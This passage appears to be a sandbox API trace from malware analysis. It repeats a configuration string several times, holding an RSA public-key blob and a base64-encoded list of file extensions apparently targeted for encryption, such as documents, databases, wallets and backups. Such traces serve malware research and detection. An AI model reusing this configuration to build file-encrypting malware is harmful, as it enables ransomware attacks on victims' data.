LmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXR